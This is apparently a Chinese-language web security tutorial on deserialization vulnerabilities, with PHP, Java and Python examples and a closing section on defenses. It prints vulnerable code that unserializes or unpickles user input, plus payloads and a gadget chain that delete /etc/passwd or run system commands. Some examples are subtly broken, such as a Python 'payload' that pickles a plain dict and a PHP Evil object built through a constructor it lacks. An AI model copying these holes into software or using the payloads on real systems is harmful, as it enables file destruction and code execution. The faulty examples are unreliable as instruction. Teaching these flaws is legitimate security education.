反序列化漏洞入门
Web安全学习路径 | 模块3 | 课程4
1. 引言
反序列化漏洞(Deserialization)是一种常见的Web应用程序漏洞,攻击者可以通过操纵序列化的数据来执行未经授权的操作。这种漏洞通常出现在处理用户提供的序列化数据时,可能导致远程代码执行、权限提升等严重后果。
学习目标: 理解序列化和反序列化的概念,掌握反序列化漏洞的原理和利用方法,学习有效的防御技术。
2. 序列化基础
2.1 什么是序列化
序列化是将数据结构或对象状态转换为可存储或传输的格式的过程。在Web应用中,序列化通常用于:
- 存储对象状态
- 传输数据
- 缓存管理
- 会话处理
2.2 PHP序列化示例
// PHP序列化示例
<?php
class User {
public $username;
public $isAdmin;
function __construct($username, $isAdmin = false) {
$this->username = $username;
$this->isAdmin = $isAdmin;
}
}
$user = new User("admin", true);
$serialized = serialize($user);
echo $serialized; // O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}
?>
3. 漏洞类型
3.1 PHP反序列化漏洞
PHP中的反序列化漏洞通常与魔术方法有关:
// 易受攻击的PHP代码
<?php
class FileHandler {
public $filename;
function __destruct() {
if (file_exists($this->filename)) {
unlink($this->filename);
}
}
}
$data = $_GET['data'];
$obj = unserialize($data);
?>
// 攻击payload
O:11:"FileHandler":1:{s:8:"filename";s:10:"/etc/passwd";}
3.2 Java反序列化漏洞
Java中的反序列化漏洞通常与readObject方法有关:
// 易受攻击的Java代码
public class User implements Serializable {
private String username;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}
3.3 Python反序列化漏洞
Python中的反序列化漏洞通常与pickle模块有关:
// 易受攻击的Python代码
import pickle
data = request.GET.get('data')
obj = pickle.loads(data)
# 攻击payload
pickle.dumps({'__class__': '__main__.Command', 'command': 'id'})
4. 漏洞利用技术
4.1 魔术方法利用
利用PHP魔术方法执行代码:
// 攻击示例
class Evil {
public $cmd;
function __wakeup() {
system($this->cmd);
}
}
$payload = serialize(new Evil("id"));
// O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
4.2 对象注入
通过注入恶意对象实现攻击:
// 攻击示例
class Database {
public $connection;
function __construct() {
$this->connection = new mysqli("localhost", "root", "", "test");
}
}
$payload = serialize(new Database());
// 可能导致数据库连接信息泄露
4.3 链式调用
利用对象之间的依赖关系构造攻击链:
// 攻击示例
class File {
public $filename;
}
class Logger {
public $file;
function __destruct() {
if (file_exists($this->file->filename)) {
unlink($this->file->filename);
}
}
}
$file = new File();
$file->filename = "/etc/passwd";
$logger = new Logger();
$logger->file = $file;
$payload = serialize($logger);
5. 防御措施
5.1 输入验证
严格验证反序列化的数据:
// 使用白名单验证
<?php
$allowed_classes = ['User', 'Settings'];
$data = $_GET['data'];
$obj = unserialize($data, ['allowed_classes' => $allowed_classes]);
?>
5.2 数据签名
使用数字签名验证数据完整性:
// 使用HMAC签名
<?php
$data = $_GET['data'];
$signature = $_GET['signature'];
if (hash_hmac('sha256', $data, 'secret_key') === $signature) {
$obj = unserialize($data);
}
?>
5.3 使用安全的序列化格式
使用JSON等安全的序列化格式:
// 使用JSON替代原生序列化
$data = json_decode($_GET['data'], true);
if (json_last_error() === JSON_ERROR_NONE) {
// 处理数据
}